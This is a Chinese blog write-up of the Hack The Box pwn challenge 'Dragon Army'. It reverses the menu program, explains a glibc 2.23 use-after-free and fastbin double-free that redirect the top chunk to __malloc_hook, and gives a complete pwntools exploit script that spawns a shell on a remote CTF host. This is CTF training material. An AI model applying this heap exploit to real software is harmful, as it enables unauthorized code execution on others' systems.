HTB pwn Dragon Army

本文详细描述了一种利用alloca函数引发的栈区溢出漏洞,通过精心设计的输入策略,包括UAF和对topchunk地址的修改,最终实现对malloc_hook的控制并获取shell。作者提供了Python脚本来演示这一过程。
摘要由CSDN通过智能技术生成

逆向分析

在这里插入图片描述
程序使用了alloca函数扩大了栈区
在这里插入图片描述
此处可以泄露libc的地址
程序主要功能在下面

  while ( 1 )
  {
    while ( 1 )
    {
      fflush(stdin);
      fflush(_bss_start);
      fprintf(_bss_start, "\n%sDragons: [%d/%d]%s\n\n", "\x1B[1;34m", v5, 13LL, "\x1B[1;37m");
      fwrite(&unk_20C8, 1uLL, 0xEFuLL, _bss_start);
      fflush(stdin);
      fflush(_bss_start);
      num = read_num();
      if ( num == 1 )
        break;
      if ( num != 2 )
      {
        fwrite("\nFarewell..", 1uLL, 0xBuLL, _bss_start);
        exit(1312);
      }
      fwrite("\nDragon of choice: ", 1uLL, 0x13uLL, _bss_start);
      fflush(stdin);
      fflush(_bss_start);
      size = read_num();
      if ( size >= v5 )
      {
        fprintf(_bss_start, "\n%s[-] Unavailable dragon!%s\n", "\x1B[1;31m", "\x1B[1;34m");
      }
      else
      {
        free(s[size]);//存在UAF
        fprintf(_bss_start, "\n%s[+] The dragon flies away!\n%s", "\x1B[1;32m", "\x1B[1;34m");
      }
    }
    if ( v5 > 0xC )
    {
      fprintf(_bss_start, "\n%s[-] No more summons!\n\n%s", "\x1B[1;31m", "\x1B[1;34m");
      exit(22);
    }
    fwrite("\nDragon's length: ", 1uLL, 0x12uLL, _bss_start);
    fflush(stdin);
    fflush(_bss_start);
    size = read_num();
    fflush(stdin);
    fflush(_bss_start);
    if ( (size > 0x58 || size <= 1) && (size <= 0x68 || size > 0x78) )//关于size为什么要这样设定在下面解释
    {
      fprintf(_bss_start, "\n%s[-] Invalid dragon length!%s\n", "\x1B[1;31m", "\x1B[1;34m");
    }
    else
    {
      v10 = (char *)malloc(size);
      s[v5] = v10;
      if ( s[v5] )
      {
        fflush(stdin);
        fflush(_bss_start);
        fwrite("\nName your dragon: ", 1uLL, 0x13uLL, _bss_start);
        fflush(stdin);
        fflush(_bss_start);
        fgets(s[v5], size, stdin);
        fflush(stdin);
        fflush(_bss_start);
        ++v5;
      }
      else
      {
        fprintf(_bss_start, "\n%s[-] Something went wrong!%s\n\n", "\x1B[1;31m", "\x1B[1;34m");
      }
    }

漏洞分析

执行strings libc.so.6 | grep ubuntu
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0(库版本2.23)
在2.23我们熟悉的是利用fastbin UAF 写入malloc_hook上面的fake_fastbin地址然后申请(0x58,0x68]大小的块往malloc_hook写one_shot拿到权限。
但是吧,本题在size上面设置了限制使得我们不能直接一步到位。
那怎么办呢?
其实归根到底中心思想是伪造fastbin块没有变,转换一下思路如果我们可以修改topchunk的地址为malloc_hook附近且保证其大小合法(在malloc_hook - 36就合适)。
因为topchunk地址存在main_arena+96的地方所以我们要利用UAF将一个合法的大小放到main_arena上面
在这里插入图片描述
在这里插入图片描述

summon(0x28,b'a')
summon(0x28,b'a')
free(5)
free(6)
free(5)
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))

如图通过不断覆写0x61达到目的。

summon(0x58,b'\x00' * 64 + p64(malloc_hook - 36))

接下来把伪造好的块拿出来(main_arena + 0x10)将topchunk改掉。
之后就可以快乐的把malloc_hook申请出来改写了。

解题脚本

from pwn import *
def gd():
 gdb.attach(p)
 pause()
def summon(size,data):
 p.recvuntil(b'>> ')
 p.sendline(b'1')
 p.recvuntil(b': ')
 p.sendline(str(size).encode()) 
 p.recvuntil(b': ')
 p.sendline(data)
def free(idx):
 p.recvuntil(b'>> ')
 p.sendline(b'2')
 p.recvuntil(b': ')
 p.sendline(str(idx).encode()) 
#p = process("./da")
p = remote('94.237.53.58',56788)
libc = ELF("./glibc/libc.so.6")
p.recvuntil(b': ')
p.send(b'r3dDr4g3nst1str0f1' + b'a' * 38)
p.recvuntil(b'a' * 38)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x6eab9
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook'] -36
main_arena = libc_base + libc.sym['main_arena']
one_shot = libc_base + 0xe1fa1
summon(0x58,b'a')
summon(0x58,b'a')
free(0)
free(1)
free(0)
summon(0x58,p64(main_arena + 0x10))
summon(0x58,p64(main_arena + 0x10))
summon(0x58,p64(main_arena + 0x10))
summon(0x28,b'a')
summon(0x28,b'a')
free(5)
free(6)
free(5)
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))

summon(0x58,b'\x00' * 64 + p64(malloc_hook))
summon(0x48,b'a' * 20 + p64(one_shot))

p.interactive()

成功getshell
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值